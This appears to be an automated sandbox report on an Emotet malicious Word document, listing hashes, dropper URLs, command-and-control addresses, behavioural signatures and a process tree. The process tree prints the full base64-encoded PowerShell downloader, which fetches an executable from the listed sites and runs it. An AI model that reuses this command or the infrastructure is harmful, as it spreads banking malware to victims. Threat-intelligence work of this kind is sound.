emotet | f37ae711b262ab3caff91d44e0ef517c066e9eafcff80cef84ac904d8efad0ae

General

Target

emotet_e1_f37ae711b262ab3caff91d44e0ef517c066e9eafcff80cef84ac904d8efad0ae_2020-07-28__220134._doc.doc
Size

170KB
MD5

cf39137cb3cd74df3105321a0bcf4ac2
SHA1

b9905463d3b9d7d88f8fd4f5e9575fb647cf4a9d
SHA256

f37ae711b262ab3caff91d44e0ef517c066e9eafcff80cef84ac904d8efad0ae
SHA512

7358f9454d03a654c1439e8d57eff0913c51a72ee792b8b582b39e66425482e8227c30a435b8d25e2f834250d414cbde41a87f6ccefbfa92ca3acc63791c55e5

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://arizonaonsale.com/cgi-bin/VuM64/

exe.dropper

https://www.compednet.com/wp-content/Nv55027/

exe.dropper

http://eltallerartistico.com/language/Uybj0/

exe.dropper

http://classicpaint.net/wp-content/tVS1/

exe.dropper

http://closhlab.com/OWN/lUvYIzLMa/

Extracted

Family

emotet

C2

179.60.229.168:443

185.94.252.13:443

189.218.165.63:80

77.90.136.129:8080

217.199.160.224:7080

104.131.41.185:8080

2.47.112.152:80

185.94.252.27:443

186.250.52.226:8080

51.255.165.160:8080

68.183.170.114:8080

191.99.160.58:80

104.131.103.37:8080

181.31.211.181:80

202.62.39.111:80

83.169.21.32:7080

87.106.46.107:8080

72.47.248.48:7080

177.75.143.112:443

190.17.195.202:80

rsa_pubkey.plain

Signatures

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3908 WINWORD.EXE
3908 WINWORD.EXE
Executes dropped EXE 2 IoCs

Processes:

45.exewlanpref.exe

pid process

1740 45.exe
2168 wlanpref.exe

pid	process
1740	45.exe
2168	wlanpref.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

45.exe

description	pid	process	target process
PID 1740 wrote to memory of 2168	1740	45.exe	wlanpref.exe
PID 1740 wrote to memory of 2168	1740	45.exe	wlanpref.exe
PID 1740 wrote to memory of 2168	1740	45.exe	wlanpref.exe

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/1740-9-0x00000000021F0000-0x00000000021FC000-memory.dmp	emotet
behavioral2/memory/2168-12-0x0000000002120000-0x000000000212C000-memory.dmp	emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Drops file in System32 directory 1 IoCs

Processes:

45.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\msyuv\wlanpref.exe 45.exe
Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\msyuv\wlanpref.exe	45.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

WINWORD.EXE45.exewlanpref.exe

pid	process
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
1740	45.exe
1740	45.exe
2168	wlanpref.exe
2168	wlanpref.exe

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 496 3676 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 496 powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	496	3676	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	496	powersheLL.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powersheLL.exewlanpref.exe

pid	process
496	powersheLL.exe
496	powersheLL.exe
496	powersheLL.exe
2168	wlanpref.exe
2168	wlanpref.exe
2168	wlanpref.exe
2168	wlanpref.exe
2168	wlanpref.exe
2168	wlanpref.exe

Blacklisted process makes network request 1 IoCs

Processes:

powersheLL.exe

flow pid process

10 496 powersheLL.exe

flow	pid	process
10	496	powersheLL.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_f37ae711b262ab3caff91d44e0ef517c066e9eafcff80cef84ac904d8efad0ae_2020-07-28__220134._doc.doc" /o ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Enumerates system info in registry
PID:3908

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABOAEIATQBYAEkAagBtAGIAPQAnAEgAQwBGAEIAWQBrAGsAdAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABjAFUAUgBJAHQAeQBgAHAAYABSAG8AVABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQASQBXAEMATQBMAHUAaABoACAAPQAgACcANAA1ACcAOwAkAEYATwBMAFcASgBzAGUAbwA9ACcAUABJAEoASABTAG0AdQBuACcAOwAkAFAATwBSAFcASgBwAHgAagA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBXAEMATQBMAHUAaABoACsAJwAuAGUAeABlACcAOwAkAFMARwBIAEoASABjAHEAZwA9ACcARwBZAFIAQgBSAHQAaABjACcAOwAkAFIARgBFAEYAWQBjAGkAcAA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgBXAGUAYgBjAGwASQBlAG4AdAA7ACQAQgBYAEEAVQBTAGUAbgBsAD0AJwBoAHQAdABwADoALwAvAGEAcgBpAHoAbwBuAGEAbwBuAHMAYQBsAGUALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBWAHUATQA2ADQALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGMAbwBtAHAAZQBkAG4AZQB0AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ATgB2ADUANQAwADIANwAvACoAaAB0AHQAcAA6AC8ALwBlAGwAdABhAGwAbABlAHIAYQByAHQAaQBzAHQAaQBjAG8ALgBjAG8AbQAvAGwAYQBuAGcAdQBhAGcAZQAvAFUAeQBiAGoAMAAvACoAaAB0AHQAcAA6AC8ALwBjAGwAYQBzAHMAaQBjAHAAYQBpAG4AdAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQAVgBTADEALwAqAGgAdAB0AHAAOgAvAC8AYwBsAG8AcwBoAGwAYQBiAC4AYwBvAG0ALwBPAFcATgAvAGwAVQB2AFkASQB6AEwATQBhAC8AJwAuACIAUwBgAHAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABDAEUARABFAEQAdgBvAG0APQAnAFgAVgBOAE8ARAB4AGUAYgAnADsAZgBvAHIAZQBhAGMAaAAoACQAQgBUAEUATwBaAGMAaABvACAAaQBuACAAJABCAFgAQQBVAFMAZQBuAGwAKQB7AHQAcgB5AHsAJABSAEYARQBGAFkAYwBpAHAALgAiAGQATwBXAE4AYABsAG8AYABBAGAAZABmAGkATABFACIAKAAkAEIAVABFAE8AWgBjAGgAbwAsACAAJABQAE8AUgBXAEoAcAB4AGoAKQA7ACQAVABWAEcASQBHAGQAbQB5AD0AJwBGAE4AUQBRAFoAcABsAHIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABQAE8AUgBXAEoAcAB4AGoAKQAuACIATABlAG4AYABnAFQAaAAiACAALQBnAGUAIAAyADYANAA5ADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAEUAQQB0AGUAIgAoACQAUABPAFIAVwBKAHAAeABqACkAOwAkAE4ARABNAFYAVgB5AHMAawA9ACcAUwBVAFUAWABRAHoAbwBnACcAOwBiAHIAZQBhAGsAOwAkAFQAWQBaAFIARgBlAGoAegA9ACcASABWAFgARABMAG8AYwBuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAQQBMAEsATgBzAHUAZwA9ACcATABQAFoAUQBMAGoAcAB5ACcA
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:496

C:\Users\Admin\45.exe
C:\Users\Admin\45.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:1740

C:\Windows\SysWOW64\msyuv\wlanpref.exe
"C:\Windows\SysWOW64\msyuv\wlanpref.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
PID:2168

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\45.exe

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C:\Users\Admin\45.exe

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C:\Windows\SysWOW64\msyuv\wlanpref.exe

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memory/1740-9-0x00000000021F0000-0x00000000021FC000-memory.dmp

Filesize
48KB

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memory/2168-12-0x0000000002120000-0x000000000212C000-memory.dmp

Filesize
48KB

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memory/2168-10-0x0000000000000000-mapping.dmp

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memory/3908-3-0x0000022539AE5000-0x0000022539AEA000-memory.dmp

Filesize
20KB

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memory/3908-6-0x0000022539C57000-0x0000022539C5C000-memory.dmp

Filesize
20KB

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memory/3908-5-0x000002253773B000-0x0000022537740000-memory.dmp

Filesize
20KB

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memory/3908-4-0x0000022539AE5000-0x0000022539AEA000-memory.dmp

Filesize
20KB

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memory/3908-0-0x0000022539AE5000-0x0000022539AEA000-memory.dmp

Filesize
20KB

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memory/3908-2-0x0000022539AEA000-0x0000022539AFB000-memory.dmp

Filesize
68KB

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memory/3908-1-0x0000022539AEA000-0x0000022539AFB000-memory.dmp

Filesize
68KB

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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